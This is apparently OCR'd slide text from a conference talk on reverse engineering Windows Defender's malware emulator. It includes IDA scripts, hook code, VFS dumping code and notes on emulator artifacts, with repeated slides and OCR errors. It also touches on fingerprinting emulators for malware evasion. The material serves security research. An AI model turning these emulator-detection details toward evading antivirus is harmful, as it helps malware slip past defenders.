Virus protection is turned off. Tap or click to turn on Windows Defender.
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Fingerprinting consumer AV emulators for malware evasion using “black box” side-channel attacks

ubm.io/2LuTgqX

A Survey On Automated Dynamic Malware Analysis Evasion and Counter-Evasion
PC, Mobile, and Web

Alexei Bulazel*
River Loop Security, LLC
alexei@riverloopssecurity.com

Bülent Yener
Department of Computer Science
Rensselaer Polytechnic Institute
yener@cs.rpi.edu

ABSTRACT
Automated dynamic malware analysis systems are increasingly used to detect and evict modern malware. Unfortunately, malware authors are increasingly using evasive techniques to evade these systems. In this paper, we present a survey of such systems and their tactics for countering them. The paper is structured as follows.

1. A survey review of “fingerprinting” systems and their evasive counterparts.
2. A description of dynamic malware detection, evasion detection, and counter-evasion techniques.
3. A description of defensive evasion case studies.
5. A description of research on automated and dynamic analysis.

Software reverse engineering, Dynamic Analysis, and Debugging

AVLeak: Fingerprinting Antivirus Emulators For Advanced Malware Evasion

Alexei Bulazel

Reverse Engineering Windows Defender’s JavaScript Engine

Alexei Bulazel
@0xAlexsei
REcon Brussels 2018

Surveying evasive malware behavior and defenses against it
bit.ly/2sf0whA

Reverse engineering Windows Defender’s JS engine
bit.ly/2qio857
# Defender 32-Bit Release Schedule

<table>
<thead>
<tr>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>5/23</td>
<td>(P0 bugs fixed)</td>
</tr>
<tr>
<td>6/20</td>
<td>(more P0 bugs fixed)</td>
</tr>
<tr>
<td>7/19</td>
<td></td>
</tr>
<tr>
<td>8/23</td>
<td></td>
</tr>
<tr>
<td>9/27</td>
<td></td>
</tr>
<tr>
<td>11/1</td>
<td></td>
</tr>
<tr>
<td><strong>12/6</strong></td>
<td>(UK NCSC bugs fixed)</td>
</tr>
<tr>
<td>1/18</td>
<td></td>
</tr>
<tr>
<td>2/28</td>
<td></td>
</tr>
<tr>
<td>3/18</td>
<td></td>
</tr>
<tr>
<td><strong>4/3</strong></td>
<td>(Halvar’s unrar bug fixed)</td>
</tr>
<tr>
<td>4/19</td>
<td></td>
</tr>
<tr>
<td>5/23</td>
<td></td>
</tr>
<tr>
<td>6/25</td>
<td></td>
</tr>
</tbody>
</table>
The present invention includes a system and method for translating potential malware devices into safe program code. The potential malware is translated from any one of a number of different types of source languages, including, but not limited to, native CPU program code, platform independent .NET byte code, scripting program code, and the like. Then the translated program code is compiled into program code that may be understood and executed by the native CPU...
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Reversing Process

- Static reversing in IDA
  - Bindiff for patch analysis

- Dynamic analysis and debugging in GDB using Tavis Ormandy’s mpclient with extensive customization

- Coverage with a customized Lighthouse Pintool
Dealing With Calling Conventions

When calling `mpengine.dll` functions from `mpclient`: Difficulty of interoperability between MSVC and GCC compiled code

- Possible to massage compiler with `__attribute__` annotations
- Easier solution - just hand-write assembly thunks to marshall arguments into the correct format

```asm
ASM_pe_read_string_ex:
push ebp
mov ebp, esp
mov eax, dword [ebp+0x8] ; 1 - fp
mov ecx, [ebp+0xc] ; 2
push dword [ebp+0x18] ; 4
push dword [ebp+0x14] ; 3 hi
push dword [ebp+0x10] ; 3

call eax
add esp, 0xc
pop ebp
ret

ASM_mmap_ex:
push ebp
mov ebp, esp
mov eax, dword [ebp+0x8]; fp
mov ecx, [ebp+0xc] ; 2 - v
mov edx, [ebp+0x10] ; (SIZE)
push dword [ebp+0x1c] ; rights
push dword [ebp+0x18] ; addr hi
push dword [ebp+0x14] ; addr low

call eax
add esp, 0xc
pop ebp
ret
```
Dealing With Calling Conventions

When calling mpengine.dll functions from mpclient: Difficulty of interoperability between MSVC and GCC compiled code

- Possible to massage compiler with __attribute__ annotations

Easier solution - just hand-write assembly thunks to marshall arguments into the correct format

```c
BYTE * __fastcall __mmap_ex
(
    pe_vars_t * v,  // ecx
    unsigned int64 addr,  // too big for edx
    unsigned long size,  // edx
    unsigned long rights
);
```

```
ASM_pe_read_string_ex:
    push ebp
    mov ebp, esp

    mov eax, dword [ebp+0x8] ; 1 - fp
    mov ecx, [ebp+0xc] ; 2

    push dword [ebp+0x18] ; 4
    push dword [ebp+0x14] ; 3 hi
    push dword [ebp+0x10] ; 3

    call eax

    add esp, 0xc
    pop ebp
    ret

ASM_mmap_ex:
    push ebp
    mov ebp, esp

    mov eax, dword [ebp+0x8]; fp
    mov ecx, [ebp+0xc] ; 2 - v
    mov edx, [ebp+0x10] ; (SIZE)

    push dword [ebp+0x1c] ; rights
    push dword [ebp+0x18] ; addr hi
    push dword [ebp+0x14] ; addr low

    call eax

    add esp, 0xc
    pop ebp
    ret
```
Dealing With Calling Conventions

When calling `mpengine.dll` functions from `mpclient`: Difficulty of interoperability between MSVC and GCC compiled code

- Possible to massage compiler with `__attribute__` annotations

Easier solution - just hand-write assembly thunks to marshall arguments into the correct format

```c
BYTE * __fastcall __mmap_ex(
    pe_vars_t * v,         // ecx
    unsigned int64 addr,   // too big for edx
    unsigned long size,    // edx
    unsigned long rights  // edx
    )

__asm__ __volatile__ __mmap_ex:
    push ebp
    mov ebp, esp

    mov eax, dword [ebp+0x8] ; 1 - fp
    mov ecx, [ebp+0xc] ; 2

    push dword [ebp+0x18] ; 4
    push dword [ebp+0x1c] ; 3 hi
    push dword [ebp+0x10] ; 3

    call eax

    add esp, 0xc
    pop ebp
    ret
```

// mmap a virtual address
```c
void * e_mmap(void * V, uint64_t Addr, uint32_t Len, uint32_t Rights)
{
    // trampoline through assembly with custom calling convention
    return ASM_mmap_ex(FP_mmap_ex, V, Len, Addr, Rights);
}
```
Custom “apicall” opcode used to trigger native emulation routines

0F FF F0 [4 byte immediate]
Custom “apicall” opcode used to trigger native emulation routines

0F FF F0 [4 byte immediate]

immediate = crc32(DLL name, all caps) ^ crc32(function name)
Custom “apicall” opcode used to trigger native emulation routines

\[
\text{immediate} = \text{crc32(DLL name, all caps)} \, ^\text{^} \, \text{crc32(function name)}
\]

\[0xB28014BB = \text{crc32(”KERNEL32.DLL”) ^ crc32(”OutputDebugStringA”)}
\]
apicall

Custom “apicall” opcode used to trigger native emulation routines

$ ./mphashgen KERNEL32.DLL OutputDebugStringA
KERNEL32.DLL!OutputDebugStringA: 0xB28014BB

0F FF F0 [4 byte immediate]

immediate = crc32(DLL name, all caps) ^ crc32(function name)

0xB28014BB = crc32(“KERNEL32.DLL”) ^ crc32(“OutputDebugStringA”)

0F FF F0 BB 14 80 B2

apicall kernel32!OutPutDebugStringA
apicall Dispatch

{x32, x64, ARM}_parseint checks apicall immediate value, may do special handling with g_MpIntHandlerParam or pass on to native emulation
Function pointers to emulation routines and associated CRCs are stored in g_syscalls table

Given a CRC, __call_api_by_crc dispatches to the corresponding emulation routine

{32, 64, ARM}_parseint checks apicall immediate value, may do special handling with g_MpIntHandlerParam or pass on to native emulation
VDLL RE - **apicall** Disassembly

**Problem:** `apicall` instruction confuses IDA's disassembler.
**Problem:** \texttt{apicall} instruction confuses IDA's disassembler

**Solution:** implement a processor extension module to support \texttt{apicall} disassembly
apicall stub functions are labeled by script

Some functions have exported names

Article in PoC||GTFO
0x19 explains how this all works

HexRays Decompiler shows apicall as an inline assembly block
An IDA Processor Extension Module was used to add support for the `apicall` instruction. Kicks in whenever a file named "*.mp.dll" is loaded.

```python
class apicall_parse_t(idaapi.plugin_t):
    flags = idaapi.PLUGIN_PROC | idaapi.PLUGIN_HIDE
    comment = "MsMpEng apicall x86 Parser"
    wanted_hotkey = ""
    help = "Runs transparently during analysis"
    wanted_name = "MsMpEng_apicall"
    hook = None

    def init(self):
        self.hook = None
        if not ".mp.dll" in idc.GetInputFile() or idaapi.ph_get_id() != idaapi.PLFM_386:
            return idaapi.PLUGIN_SKIP

        print "\n\n-->MsMpEng apicall x86 Parser Invoked!\n"

        self.hook = parse_apicall_hook()
        self.hook.hook()
        return idaapi.PLUGIN_KEEP
```

Rolf Rolles' examples were extremely helpful:

msreverseengineering.com/blog/2015/6/29/transparent-deobfuscation-with-ida-processor-module-extensions
Instruction Analysis

- Invoked to analyze instructions
- If three bytes at the next instruction address are \x0f \xff \xf0 we have an apicall
- Note that the instruction was an apicall and that it was 7 bytes long, so the next instruction starts at \textdollar+7

```python
def ev_analyze_insn(self, insn):
    global hashesToNames

    insnbytes = idaapi.get_bytes(insn.ea, 3)
    if insnbytes == '\x0f\xff\xf0':
        apicrc = idaapi.get_long(insn.ea+3)
        apiname = hashesToNames.get(apicrc)
        if apiname is None:
            print "ERROR: apicrc 0x%x NOT FOUND!"%apicrc

        print "apicall: %s @ 0x%x"%(apiname, insn.ea)

    insn.itype = NN_apicall
    insn.Op1.type = idaapi.o_imm
    insn.Op1.value = apicrc
    insn.Op1.dtyp = idaapi.dt_dword
    insn.size = 7  #eat up 7 bytes

    return True
    return False
```
Instruction Representation

Represent the instruction with mnemonic “apicall”

```python
def ev_out_mnem(self, outctx):
    insntype = outctx.insn.iotype
    if insntype == NN_apicall:
        mnem = "apicall"
        outctx.out_line(mnem)
    MNEM_WIDTH = 8
    width = max(1, MNEM_WIDTH - len(mnem))
    outctx.out_line(" " * width)
    return True
return False
```

Represent the operand with the name of the function being apicall-ed to

```python
def ev_out_operand(self, outctx, op):
    insntype = outctx.insn.iotype
    if insntype == NN_apicall:
        apicrc = op.value
        apiname = hashesToNames.get(apicrc)
        if apiname is None:
            return False
        else:
            s = apiname.split("_DLL_")
            operand_name = "!".join([s[0].lower(), s[1]])
            print "FOUND!", operand_name
            outctx.out_line(operand_name)
    return True
return False
```
Labeling **apicall** Stubs

Creating and naming functions with **apicall** instructions during autoanalysis is very slow

Scan for **apicall stub** function signatures after autoanalysis

```python
# first find all the functions
for head in Heads(text_ea, SegEnd(text_ea)):
    func_ea = idaapi.get_func(head)
    if func_ea is None:
        if idaapi.get_bytes(head, 13) == '\x8b\xff\xe8\x00\x00\x00\x00\x83\xc4\x04\x0f\xff\xf0':
            print "Unrecognized apicall function at @ 0x%x"% (head)
            MakeFunction(head)

#now name the functions
for funcea in Functions(text_ea, SegEnd(text_ea)):
    functionName = GetFunctionName(funcea)
    for (startea, endea) in Chunks(funcea):
        for head in Heads(startea, endea):

            insnbytes = idaapi.get_bytes(head, 3)
            if insnbytes == '\x0f\xff\xf0':
                apicrc = idaapi.get_long(head+3)
                apiname = hashesToNames.get(apicrc)
                if apiname is None:
                    print "ERROR: apicrc 0x%x NOT FOUND! @ 0x%x"%(apicrc, head)
                else:
                    print "PROCESS - apicall: %s @ 0x%x"%(apiname, head)
                    func_ea = idaapi.get_func(head).start_ea
                    fname = idc.GetFunctionName(func_ea)
                    if fname.startswith("sub "): MakeName(func_ea, "apicall_" + apiname)
```
Creating and naming functions with `apicall` instructions during autoanalysis is very slow.

Scan for `apicall stub` function signatures after autoanalysis.

```python
# first find all the functions
for head in Heads(text_ea, SegEnd(text_ea)):
    func_ea = idaapi.get_func(head)
    if func_ea is None:
        if idaapi.get_bytes(head, 13) == '\x8b\xff\xe8\x00\x00\x00\x00\x83\xc4\x04\x0f\xff\xf0':
            print "Unrecognized apicall function at @ 0x%"%(head)
            MakeFunction(head)

# now name the functions
for func_ea in Functions(text_ea, SegEnd(text_ea)):
    functionName = GetFunctionName(func_ea)
    for (startea, endea) in Chunks(func_ea):
        for head in Heads(startea, endea):
            insnbytes = idaapi.get_bytes(head, 3)
            if insnbytes == '\x0f\xff\xf0':
                apicrc = idaapi.get_long(head+3)
                apiname = hashesToNames.get(apicrc)
                if apiname is None:
                    print "ERROR: apicrc 0x%"%(apicrc, head)
                else:
                    print "PROCESS - apicall: %s @ 0x%"%(apiname, head)
                    func_ea = idaapi.get_func(head).start_ea
                    fname = idc.GetFileName(func_ea)
                    if fname.startswith("sub_"):
                        MakeName(func_ea, "apicall_" + apiname)
```

`mov edi, edi` call `$+5` add esp, 0x4 apicall ...
Emulator Components

- CPU emulation
  - + Timing

- OS API emulation
  - + Timing

- Emulated environment
  - Settings, processes, file system, registry, network, etc

- Antivirus instrumentation and callbacks
Process Interaction

Since other processes don’t really exist, they can’t be interacted with like real processes

ReadProcessMemory & WriteProcessMemory operations for processes other than the one under analysis fail

`0x1234` is a handle to the emulated process under analysis
VirtualReg - Virtual Registry

- Unlike VFS, registry is not exposed for direct interaction from within the emulator, it can only be reached via `advapi32.dll` emulations.
- `advapi32.dll`'s only natively emulated functions are those that deal with registry interaction.
**WinExec Hook**

Good function to hook - emulator functions fine without it actually doing its normal operations

2 parameters - pointer and uint32 - can create an IOCTL-like interface, pointer to arbitrary data, uint32 to specify action

```c
void __cdecl KERNEL32_DLL_WinExec(void *v)
{
    DT_context *pDTc; // ecx
    CAutoVtcs vticks; // [esp+10h] [ebp-44h]
    src_attribute_t attr; // [esp+1Ch] [ebp-38h]
    unsigned int length; // [esp+30h] [ebp-24h]
    Parameters<2> arg; // [esp+34h] [ebp-28h]
    int unused; // [esp+50h] [ebp-4h]

    vticks.m_vticks = 32;
    pDTc = v->p_DTC;
    vticks.m_Init_vticks = &v->vticks32;
    vticks.m_pC = pDTc;
    unused = 0;
    Parameters<2>::Parameters<2>(&arg, v);
    pe_set_return_value(v, 1u64);
    *attrr.First.length = 0;
    *attrr.Second.length = 0;
    attr.attribid = 12291;
    attr.attribute.numval32 = 0;
    length = 0;
    attrr.First.numval32 = pe_read_string_ex(arg.m_Arg[0].val32, &length);
    attrr.First.length = length;
    _siga_check(v, &attrr);
    vticks.m_vticks = pe_create_process(arg.m_Arg[0].val32, 0i64) != 0 ? 16416 : 1056;
    CAutoVtcs::CAutoVtcs(&vticks);
}
```

```c
UINT WINAPI WinExec(
    _In_ LPCSTR lpCmdLine,
    _In_ UINT uCmdShow
);
```
Example: Extracting VFS

File system is not stored in `mpengine.dll` - evidently loaded at runtime from VDMs - can't be trivially extracted with static RE

```c
void DumpFile(char * FilePath, char * DumpName) {
    DWORD fileSize;
    DWORD bytesRead;
    HANDLE h;
    LPVOID buf;

    h = CreateFileA(FilePath, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (h == INVALID_HANDLE_VALUE) {
        FatalError("Could not open file");
    }

    fileSize = GetFileSize(h, NULL);
    if (fileSize == INVALID_FILE_SIZE) {
        FMTPRINT1("FAILED", FP32(GetLastError()));
    }

    buf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
    if (buf == NULL) {
        FatalError("HeapAlloc failed");
    }

    ReadFile(h, buf, fileSize, &bytesRead, NULL);
    PostBuffer(DumpName, buf, fileSize);
}
```
Example: Extracting VFS

File system is not stored in `mpengine.dll` - evidently loaded at runtime from VDMs - can’t be trivially extracted with static RE

```c
void DumpFile(char * FilePath, char * DumpName) {
    DWORD fileSize;
    DWORD bytesRead;
    HANDLE h;
    LPVOID buf;

    h = CreateFileA(FilePath, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (h == INVALID_HANDLE_VALUE) {
        FatalError("Could not open file");
    }

    fileSize = GetFileSize(h, NULL);
    if (fileSize == INVALID_FILE_SIZE) {
        FMTPRINT1("FAILED", FP32(GetLastError()));
    }

    buf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
    if (buf == NULL) {
        FatalError("HeapAlloc failed");
    }

    bytesRead = ReadFile(h, buf, fileSize, &bytesRead, NULL);
    PostBuffer(DumpName, buf, fileSize);
}

void PostBuffer(char * name, void * pBuffer, uint32_t len) {
    BUFFEROUT buf;
    buf.ptr = (uint32_t)pBuffer;
    buf.len = len;
    buf.name = name;
    WinExec((LPCSTR)&buf, OutBuf);
}
```
Example: Extracting VFS

File system is not stored in `mpengine.dll` - evidently loaded at runtime from VDMs - can’t be trivially extracted with static RE.

```c
void DumpFile(char * FilePath, char * DumpName) {
  DWORD fileSize;
  DWORD bytesRead;
  HANDLE h;
  LPVOID buf;

  h = CreateFileA(FilePath, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL);
  if (h == INVALID_HANDLE_VALUE) {
    FatalError("Could not open file");
  }

  fileSize = GetFileSize(h, NULL);
  if (fileSize == INVALID_FILE_SIZE) {
    FMTPRINT1("FAILED", FP32(GetLastError()));
  }

  buf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
  if (buf == NULL) {
    FatalError("HeapAlloc failed");
  }

  ReadFile(h, buf, fileSize, &bytesRead, NULL);
  PostBuffer(DumpName, buf, fileSize);
}
```

`WinExec` hook 
Outside of emulator

```c
static void __cdecl KERNEL32_DLL_WinExec_hook(void * v) {
  uint64_t Params[2] = {0};
  uint32_t info16 = 0;
  uint32_t len;
  uint32_t res;
  char * str;
  uint64_t ui64;

  elog(S_TRACE, "WinExec");
  GetParams(v, Params, 2);
  elog(S_DEBUG_VV, "V: %p", v);

  info16 = Params[1] & 0xFFFF; //mask off low bits of Info
  switch (info16) {
    ...
  }

  case OutBuf://share a buffer out
    elog(S_DEBUG_VV, "OutBuf");
    res = HandleOutBuf(v, Params[0]);
    elog(S_DEBUG, "RES: %d", res);
    break;

  ...
  case BUFFEROUT://Recieve buf
    buf.ptr = (uint32_t)pBuffer;
    buf.len = len;
    buf.name = name;
    WinExec((LPCSTR)&buf, OutBuf);
}
```

`apicall`
ExitProcess Hook

Called at the end of emulation, even if our binary doesn't call it directly

Informs Pin when to stop tracing if under analysis

Original

KERNEL32_DLL_ExitProcess function needs to be called for emulator to function properly, so just call through to it

```
// Hook for ExitProcess - so we know to stop tracing
//
// Note - it seems that this function is called a number of times before startup, presumably during initialization and also twice(?) after the session ends - in any case that's fine, as we want to run tracing from the start of execution until the first exit, that's it also the parameter doesn't seem to be the actually parameter passed, not sure why

static void __cdecl KERNEL32_DLL_ExitProcess_hook(void * v)
{
    uint64_t Params[1] = {0};
    elog(S_DEBUG, "ExitProcess");
    //inform instrumentation to stop
    InstrumentationCallbackStop();
    //passthrough call to the original function we hooked
    originalExitProcess(v);
    elog(S_DEBUG, "ExitProcess DONE\n");
    return;
}
```
Unique VDLL PDB Paths

c:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\autoconv\objfre\i386\autoconv.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\bootcfg\objfre\i386\bootcfg.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\cmd\objfre\i386\cmd.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\dfrgfat\objfre\i386\dfrgfat.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\mmcc\objfre\i386\mmcc.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\msiexec\objfre\i386\msiexec.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\notepad\objfre\i386\notepad.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\replace\objfre\i386\replace.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\tasksmgr\objfre\i386\tasksmgr.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\windows\objfre\i386\windows.pdb
d:\build.obj.x86chk\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\lodctr\objchk\i386\lodctr.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\attrib\objfre\i386\attrib.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\chkdsk\objfre\i386\chkdsk.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\compact\objfre\i386\compact.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\find\objfre\i386\find.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\finger\objfre\i386\finger.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\fixmap\objfre\i386\fixmap.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\ipv6\objfre\i386\ipv6.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\loff\objfre\i386\loff.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\migpwd\objfre\i386\migpwd.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\mshta\objfre\i386\mshta.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\ncpa\objfre\i386\ncpa.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\ping\objfre\i386\ping.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\w32tm\objfre\i386\w32tm.pdb
d:\build.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\wscript\objfre\i386\wscript.pdb

d:\MPEngine\amcore\MpEngine\mawutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\Microsoft.VisualBasic\Microsoft.VisualBasic.pdb
d:\MPEngine\amcore\MpEngine\mawutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Data\System.Data.pdb
d:\MPEngine\amcore\MpEngine\mawutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System\System.pdb
d:\pavbld\amcore\MpEngine\mawutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System,Windows,Forms.pdb
d:\pavbld\amcore\MpEngine\mawutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Runtime\System.Runtime.pdb
d:\pavbld\amcore\MpEngine\mawutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\Windows\Windows.pdb
d:\pavbld\amcore\Signature\Source\sigutils\vdlls\Microsoft.NET\VFramework\mscorlib\mscorlib.pdb
d:\pavbld\amcore\Signature\Source\sigutils\vdlls\Microsoft.NET\System\System.pdb
e:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\explorer\objfre\i386\explorer.pdb
e:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\lm\objfre\i386\lm.pdb
e:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\lsass\objfre\i386\lsass.pdb
e:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\winlogon\objfre\i386\winlogon.pdb
e:\mpengine.obj.x86fre\amcore\mpengine\mawutils\source\sigutils\vfilesystem\files\write\objfre\i386\write.pdb

d:\pavbld\amcore\MpEngine\mawutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Runtime.InteropServices\System.Diagnostics\System.Diagnostics.pdb
Fake Config Files

C:\\WINDOWS\system.ini

; for 16-bit app support
[386Enh]
woa\nt=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]

C:\\WINDOWS\win.ini

; for 16-bit app support

[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1

[MCI Extensions.BAK]
aif=MPEGVideo
aifc=MPEGVideo
aiff=MPEGVideo
asf=MPEGVideo
asx=MPEGVideo
au=MPEGVideo
mlv=MPEGVideo
m3u=MPEGVideo
mp2=MPEGVideo
mp2v=MPEGVideo
mp3=MPEGVideo
mpa=MPEGVideo
mpe=MPEGVideo
mpeg=MPEGVideo
mpg=MPEGVideo
mpv2=MPEGVideo
snd=MPEGVideo
wax=MPEGVideo
wm=MPEGVideo
wma=MPEGVideo
wmv=MPEGVideo
wmx=MPEGVideo
wpl=MPEGVideo
wvx=MPEGVideo
Wininet.dll vdll

Minimal internet connectivity emulation with wininet.dll

```c
int __stdcall InternetReadFile(int hFile, int lpBuffer, int dwNumberOfBytesToRead, _DWORD
{
    int result; // eax

    MpReportEvent(12294, 0, 0);
    if ( g_readFrom )
    {
        *lpdwNumberOfBytesRead = 0;
        result = 1;
    } else
    {
        g_readFrom = 1;
        result = ReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead, 0);
    }
    return result;
}
```

File on local file system is used to simulate interaction with handles to internet resources

```c
int __stdcall InternetOpenUrlA(int a1, int a2, int a3, int a4, int a5, int a6)
{
    MpReportEvent(12293, a2, 0);
    doWSAStartup();
    return CreateFileA("C:\\INTERNAL\\REMOTE.EXE", GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0);
}
```
Timing

CPU tick count needs to be updated during instruction execution and OS emulation.

Like every other AV emulator I’ve looked at, Defender aborts execution on `rdtscp`.

```c
void __fastcall vmp32_esc_cpuid
{
    DT_context *v2; // esi@1
    native_IL_context *v3; // ST0
    x86_common_context *v4; // eax

    v2 = pC;
    v3 = pC->native_IL_ctx;
    v2->m_vticks32 += 24;
}
```

```c
void __cdecl NTDLL_DLL_VFS_Read(pe_vars_t *v)
{
    DT_context *v1; // eax@1
    bool v2; // bl@1
    char *v3; // eax@1
    VirtualFS *v4; // ecx@1
    CAutoVticks vticks; // [sp+Ch] [bp-48h]@1
    unsigned int nBytesRead; // [sp+18h] [bp-3Ch]
    Parameters<5> arg; // [sp+1Ch] [bp-38h]@1
    int v8; // [sp+50h] [bp-4h]@1

    Parameters<5>::Parameters<5>(&arg, v);
    v1 = v->m_pDTc;
    v->vticks32 += 512;
    vticks.m_vticks = 32;
    vticks.m_init_vticks = &v->vticks32;
}
```
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
libdislocator

libdislocator is a allocator included with AFL that does allocation in a way likely to increase the discovery rate for heap-related bugs

Since it's open source and implemented as in a simple single C file, we can easily drop in libdislocator code to instrument Windows heap API implementations in loadlibrary

Source:
github.com/mirrorer/afl/tree/master/libdislocator

I integrated libdislocator code (not published) into:
loadlibrary/peloader/winapi/Heap.c
Offline Demos

Screenshots of demos for online slide release - see presentation videos when released for live demos
Demo

Scanning with \texttt{mpclient}
Scanning with `mpclient`

```bash
$ cat eicar.com
X50!P%@AP[4\PZX54(P(7CC)7]$EICAR--STANDARD--ANTIVIRUS--TEST--FILE!$H+H*$
```
Scanning with *mpclient*

```bash
$ cat eicar.com
X501P%@AP[4\PZX54(P^)7CC7}$EICAR-QUICK-ANTI-VIRUS-TEST-FILE!$H+H*$
$ ./mpclient eicar.com
main(): Scanning eicar.com...
EngineScanCallback(): Scanning input
EngineScanCallback(): Threat Virus:DOS/EICAR_Test_File identified.
$  
```
Demo
Lighthouse Usage
Pintool must be enlightened about custom loaded mpengine.dll location - take callback stub ideas from Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage
Tracing Timeline

__rsignal(..., RSIG_BOOTENGINE, ...)

__rsignal(..., RSIG_SCAN_STREAMBUFFER, ...)

Pintool must be enlightened about custom loaded mpengine.dll location - take callback stub ideas from Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage
Tracing Timeline

Pintool must be enlightened about custom loaded `mpengine.dll` location - take callback stub ideas from Tavis Ormandy’s deepcover Pintool

github.com/taviso/loadlibrary/tree/master/coverage

__rsignal(..., RSIG_BOOTENGINE, ...)
__rsignal(..., RSIG_SCAN_STREAMBUFFER, ...)
Tracing Timeline

Hooking Defender’s emulation functions for `WinExec` and `ExitProcess` allows us to know when emulation starts and stops*

*ExitProcess is called at the end of every emulation session automatically - I believe this is because `setup_pe_vstack` puts it at the bottom of the call stack, even for binaries that do not explicitly return to it.

Pintool must be enlightened about custom loaded `mpengine.dll` location - take callback stub ideas from Tavis Ormandy’s `deepcover` Pintool

github.com/taviso/loadlibrary/tree/master/coverage

Binary calls hooked `WinExec` emulation with params for start

<table>
<thead>
<tr>
<th>Engine Startup</th>
<th>Initial Scan</th>
<th>Emulator Startup</th>
<th>Binary Emulation</th>
</tr>
</thead>
</table>

`__rsignal(..., RSIG_BOOTENGINE, ...)`

`__rsignal(..., RSIG_SCAN_STREAMBUFFER, ...)`
Tracing Timeline

Hooking Defender’s emulation functions for WinExec and ExitProcess allows us to know when emulation starts and stops*

*ExitProcess is called at the end of every emulation session automatically - I believe this is because setup_pe_vstack puts it at the bottom of the call stack, even for binaries that do not explicitly return to it

Pintool must be enlightened about custom loaded mpengine.dll location - take callback stub ideas from Tavis Ormandy’s deepcover Pintool

github.com/taviso/loadlibrary/tree/master/coverage

---

Binary calls hooked
WinExec emulation with params for start

Emulator calls
ExitProcess

---

__rsignal(..., RSIG_BOOTENGINE, ...)

__rsignal(..., RSIG_SCAN_STREAMBUFFER, ...)
Tracing Timeline

Hooking Defender’s emulation functions for `WinExec` and `ExitProcess` allows us to know when emulation starts and stops*

* `ExitProcess` is called at the end of every emulation session automatically - I believe this is because `setup_pe_vstack` puts it at the bottom of the call stack, even for binaries that do not explicitly return to it

Pintool must be enlightened about custom loaded `mpengine.dll` location - take callback stub ideas from Tavis Ormandy’s `deepcover` Pintool

github.com/taviso/loadlibrary/tree/master/coverage

Binary calls hooked `WinExec` emulation with params for start

Emulator calls `ExitProcess`

